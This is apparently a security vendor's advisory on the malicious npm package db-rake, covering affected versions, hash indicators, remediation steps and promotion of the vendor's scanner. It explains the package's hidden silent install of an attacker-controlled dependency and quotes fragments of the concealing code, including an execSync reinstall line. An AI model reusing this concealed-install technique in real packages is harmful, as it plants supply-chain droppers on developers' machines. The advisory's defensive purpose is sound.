Which versions of db-rake are malicious?

The following npm versions of db-rake are flagged malicious: 1.0.1, 1.0.2. Treat any of these as compromised.

How do I remediate db-rake if I installed it?

Remove db-rake from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed db-rake — how do I know if it already compromised me?

If db-rake was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is db-rake part of a known attack campaign?

Yes — db-rake is associated with the IN-MAL-2026-007668, IN-MAL-2026-007667, GHSA-prxc-r4q3-q88m campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find db-rake across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for db-rake (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging db-rake across your stack and pipelines.

Malicious package

db-rakenpm

db-rake is a confirmed malicious npm package (MAL-2026-6540) that executes malicious code on install (malicious versions 1.0.1, 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in db-rake (npm)

MAL-2026-6540

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall db-rake

What this malware does

When a consumer imports db-rake and constructs any Model, the package's resetor() method silently runs npm install db-dx-connector (unpinned, no-save: true, loglevel: silent, no-warnings: true) via oubliette's syncApi, then requires the freshly-fetched module and invokes new DxDatabaseConnector({}).queryDBConnect(). The install primitive is concealed by aliasing the import as npm (const { syncApi: npm } = require("oubliette")) so call sites read as innocuous npm().install(...), and all output is suppressed. The fetched package is attacker-mutable (latest tag), unrelated to the README's stated purpose (an in-memory mobx-backed database), and undocumented. A commented-out adjacent block in dist/index.js shows the same technique templated against a different target package (clsx-js via execSync('npm uninstall clsx-js && npm install clsx-js', { stdio: 'ignore', windowsHide: true })), corroborating that the live db-dx-connector path is a deliberately engineered dropper rather than benign auto-recovery. Any code published to db-dx-connector at any future time will be executed in the consumer's process.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged

1.0.11.0.2

Indicators of compromise (SHA-256)

7897e7e59fce00f8a8a5be479e4006b02259d746db7284d0d47a240fb4d88614

d5a0d966d760dca0783a79eb150639ccfaf01aac944481e793dbcb7d7669983c

61e705f5c04c01f4d11eab78c795823a33d8f69d1d33848100d092efc03d0662

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for db-rake (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging db-rake across your stack and pipelines.
If you installed it — respond
Remove db-rake from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If db-rake was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks db-rake before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. db-rake on npm has been identified as a malicious package (versions 1.0.1, 1.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007668IN-MAL-2026-007667GHSA-prxc-r4q3-q88m

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks db-rake-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database